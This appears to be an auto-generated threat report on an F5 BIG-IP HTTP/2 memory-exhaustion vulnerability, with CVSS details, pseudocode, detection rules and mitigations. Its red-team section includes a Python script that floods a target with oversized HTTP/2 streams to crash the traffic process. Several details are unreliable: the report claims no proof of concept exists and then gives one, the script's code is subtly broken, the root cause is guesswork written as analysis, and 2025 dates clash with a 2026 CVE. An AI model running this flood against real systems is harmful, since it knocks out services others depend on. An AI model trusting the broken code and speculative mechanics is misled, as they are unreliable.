CVE-2026-59762

Executive Summary

CVE-2026-59762 is a high-severity (CVSS 7.5) denial-of-service (DoS) vulnerability affecting F5 BIG-IP systems when an HTTP/2 profile is configured on a virtual server. An unauthenticated, remote attacker can exploit this flaw by sending undisclosed HTTP/2 requests, causing a progressive increase in memory resource utilization. This degradation can lead to the TMM (Traffic Management Microkernel) process becoming unresponsive or crashing, resulting in a complete denial of service for the data plane. No control plane exposure exists, meaning management access remains unaffected. No public proof-of-concept (PoC) code, exploit, or patch is currently available. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploit does not affect other components.
• Confidentiality (C): None – No data exposure.
• Integrity (I): None – No data modification.
• Availability (A): High – Complete loss of service availability.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the impact is a full denial of service on the data plane. While no active exploitation has been reported (EPSS 0.0%), the lack of a patch and the widespread deployment of F5 BIG-IP in critical infrastructure make this a significant risk.

Deep Dive & Mechanics

The vulnerability resides in the HTTP/2 profile implementation within the TMM process of F5 BIG-IP. HTTP/2 introduces multiplexed streams, flow control, and header compression (HPACK). The flaw is triggered by "undisclosed requests" that cause the TMM to allocate memory in an uncontrolled manner.

Root Cause Analysis:

• The HTTP/2 profile likely mishandles specific stream states or flow control frames (e.g., WINDOW_UPDATE, PRIORITY, or RST_STREAM) in a way that prevents proper deallocation of memory.
• An attacker can send a sequence of crafted HTTP/2 frames that cause the TMM to accumulate memory buffers without releasing them, leading to resource exhaustion.
• The TMM process is single-threaded for traffic handling; memory exhaustion degrades performance until the process is forced to restart (either by the system watchdog or manually).

Attack Flow:

1. Attacker establishes an HTTP/2 connection to a vulnerable virtual server.
2. Attacker sends a series of specially crafted HTTP/2 frames (e.g., multiple streams with large headers, or invalid flow control updates).
3. TMM allocates memory for each request but fails to free it due to a logic error.
4. Memory usage increases linearly with each request.
5. Eventually, the system runs out of memory, causing TMM to crash or become unresponsive.
6. All traffic through the virtual server is dropped until TMM restarts.

Affected Component: TMM (Traffic Management Microkernel) – Data plane only.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is within the HTTP/2 profile handler in the TMM binary. A patched version would likely include:

• Proper bounds checking on stream state transitions.
• Correct memory deallocation after processing certain HTTP/2 frames.
• Rate limiting or resource quotas for HTTP/2 streams.

Hypothetical vulnerable code snippet (pseudocode):

void process_http2_frame(stream *s, frame *f) {
    if (f->type == WINDOW_UPDATE) {
        s->window_size += f->increment;
        // Missing: check for overflow or resource limits
        allocate_memory_for_stream(s);
    }
}

Hypothetical patched code snippet:

void process_http2_frame(stream *s, frame *f) {
    if (f->type == WINDOW_UPDATE) {
        if (s->window_size + f->increment > MAX_WINDOW) {
            reset_stream(s);
            return;
        }
        s->window_size += f->increment;
        if (s->memory_usage > MAX_STREAM_MEMORY) {
            reset_stream(s);
            return;
        }
        allocate_memory_for_stream(s);
    }
}

Exploitation & Lab Setup

Red Team (Offensive):

• Objective: Cause a denial of service on the BIG-IP data plane.
• Prerequisites: Network access to a virtual server with HTTP/2 profile enabled.
• Tools: Custom Python script using h2 library, or scapy for raw HTTP/2 frames.
• Lab Setup:
  1. Deploy a vulnerable F5 BIG-IP (version unknown) with an HTTP/2 profile on a virtual server.
  2. Use a Python script to send a high volume of HTTP/2 requests with crafted frames (e.g., multiple streams with large headers, or repeated WINDOW_UPDATE frames).
  3. Monitor memory usage via tmsh show sys memory or SNMP.
  4. Observe TMM crash or service degradation.

Example Python script (conceptual):

import h2.connection
import socket

def exploit(target, port):
    sock = socket.create_connection((target, port))
    conn = h2.connection.H2Connection()
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())
    
    for i in range(10000):
        # Send a stream with large headers
        headers = [(':method', 'GET'), (':path', '/' + 'A'*10000)]
        conn.send_headers(1, headers)
        sock.sendall(conn.data_to_send())
        
        # Send WINDOW_UPDATE to increase window size
        conn.update_settings({h2.settings.WINDOW_UPDATE: 65535})
        sock.sendall(conn.data_to_send())
    
    sock.close()

Blue Team (Defensive):

• Detection: Monitor memory usage spikes on BIG-IP TMM. Use SNMP traps or custom scripts to alert when memory exceeds thresholds.
• Mitigation: Disable HTTP/2 profile on virtual servers if not required. Implement rate limiting on HTTP/2 connections.
• Forensics: Capture network traffic to identify anomalous HTTP/2 frame patterns (e.g., excessive WINDOW_UPDATE or large headers).

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of HTTP/2 frames with large header sizes (>8KB).
  • Repeated WINDOW_UPDATE frames with large increments.
  • Multiple streams opened and closed rapidly.
  • Unusual HTTP/2 settings (e.g., SETTINGS_MAX_CONCURRENT_STREAMS set to high values).
• System IOCs:
  • TMM process memory usage exceeding 90% of available memory.
  • TMM process crashes or restarts (check /var/log/tmm or /var/log/ltm).
  • SNMP traps indicating high memory utilization.
• Log IOCs:
  • Log entries: TMM memory exhausted, TMM process restarted, or HTTP/2 stream error.

Detection Engineering

YARA Rule:

rule CVE_2026_59762_HTTP2_Memory_Exhaustion {
    meta:
        description = "Detects HTTP/2 traffic patterns indicative of CVE-2026-59762 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-59762"
    strings:
        $http2_preface = { 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 0d 0a 0d 0a 53 4d 0d 0a 0d 0a }
        $window_update = { 08 00 00 00 01 } // WINDOW_UPDATE frame type
        $large_header = /[A-Za-z0-9\/]{1000,}/ // Large header value
    condition:
        $http2_preface and #window_update > 100 and #large_header > 10
}

Sigma Rule:

title: CVE-2026-59762 - HTTP/2 Memory Exhaustion on F5 BIG-IP
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects memory exhaustion events on F5 BIG-IP TMM process
author: Valters IT
date: 2025-04-10
logsource:
    product: f5
    service: bigip
detection:
    selection:
        EventID: 'TMM_MEMORY_EXHAUSTED'
    condition: selection
falsepositives:
    - Legitimate high traffic loads
level: high

Suricata Rule:

alert tcp any any -> any 443 (msg:"CVE-2026-59762 - HTTP/2 Memory Exhaustion Attempt"; flow:to_server; content:"|50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30|"; http2; content:"|08 00 00 00 01|"; distance:0; within:5; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTTP/2 Profile: If HTTP/2 is not required, remove the HTTP/2 profile from all virtual servers.
2. Rate Limiting: Implement connection rate limiting and stream limits on virtual servers using iRules or AFM.
3. Monitor Memory: Set up SNMP traps and alerts for TMM memory usage exceeding 80%.

Long-Term Fix:

• Apply the official patch from F5 when released. Monitor F5's security advisory page for updates.
• Upgrade to a patched version of BIG-IP software.

Workarounds:

• Use HTTP/1.1 instead of HTTP/2.
• Restrict access to virtual servers using ACLs or firewall rules.
• Enable HTTP/2 flow control settings (if configurable) to limit memory per stream.

Valters IT Signature:

Report generated by Valters IT DevSecOps & CTI Framework
CVE-2026-59762 | F5 BIG-IP HTTP/2 DoS
Classification: PUBLIC
Last updated: 2025-04-10